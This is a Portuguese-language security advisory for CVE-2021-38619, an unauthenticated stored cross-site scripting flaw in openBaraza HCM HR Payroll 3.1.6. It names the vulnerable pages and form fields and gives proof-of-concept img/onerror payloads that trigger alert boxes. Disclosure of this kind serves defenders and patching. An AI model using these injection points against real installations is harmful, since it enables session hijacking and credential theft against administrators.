CVE-2021-38619 openBaraza HCM HR Payroll v.3.1.6 Vulnerabilidade de XSS Armazenado Não Autenticado

O openBaraza HCM v.3.1.6 não neutraliza adequadamente a entrada controlável pelo usuário, o que pode permitir que um atacante remoto não autenticado conduza um ataque de cross-site scripting (XSS) armazenado contra um usuário administrativo em várias páginas. Se um atacante injetar payload de JavaScript arbitrário em páginas vulneráveis e usuários válidos tentarem visitar as páginas afetadas, o payload será executado. Isso pode resultar em roubo de credenciais, sequestro de sessão ou entrega de malware à vítima.

Créditos dos descobridores: Charles Bickel & Gideon Gray

---

Página vulnerável: http://serverip:9090/hr/application.jsp

Caixas de texto vulneráveis: first_name, surname, email

Payloads:

• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('First');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('Surname');" />
• [email protected]<img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('email');" />

Página afetada: http://serverip:9090/hr/index.jsp?view=23:0

---

Página vulnerável: http://serverip:9090/hr/subscription.jsp

Caixas de texto vulneráveis: business_name, primary_contact, primary_email, confirm_email

Payloads:

• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('business');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('contact');" />
• <img src="https://raw.githubusercontent.com/charlesbickel/cve-2021-38619/HEAD/x"onerror="alert('email');" />

Página afetada: http://serverip:9090/hr/index.jsp?view=94:0